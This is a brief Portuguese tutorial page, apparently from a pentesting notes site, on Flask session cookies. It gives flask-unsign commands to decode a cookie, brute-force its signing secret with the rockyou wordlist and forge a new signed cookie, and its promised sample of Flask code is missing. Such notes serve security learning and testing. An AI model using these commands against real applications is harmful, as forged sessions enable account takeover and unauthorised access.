Flask
Flask é um framework python focado no desenvolvimento de websites e APIs. A estrutura básica de código do Flask é essa:
Cookies
O Flask usa cookies para guardar sessões de usuário de forma parecida com o JWT. A ferramenta flask-unsign
permite crackear, realizar brute-force e construir cookies de sessão do Flask. Você pode instalá-la assim:
pip3 install flask-unsign
No seu terminal, você pode usar esse comando para decodificar um cookie: \ flask-unsign --decode --cookie 'seu.cookie.aqui'
Para realizar brute-force no cookie e descobrir a secret, use o comando abaixo. É necessário ter uma wordlist. Eu recomendo usar a rockyou.txt
(https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt).
flask-unsign --wordlist sua/wordlist --unsign --cookie '<cookie>' --no-literal-eval
Para criar um novo cookie a partir de uma secret, use
flask-unsign --sign --cookie "{'teu_cookie': True}" --secret 'sua secret'
Links Úteis
Artigo do HackTricks: https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask Documentação do Flask: https://flask.palletsprojects.com/en/stable/quickstart/
Atualizado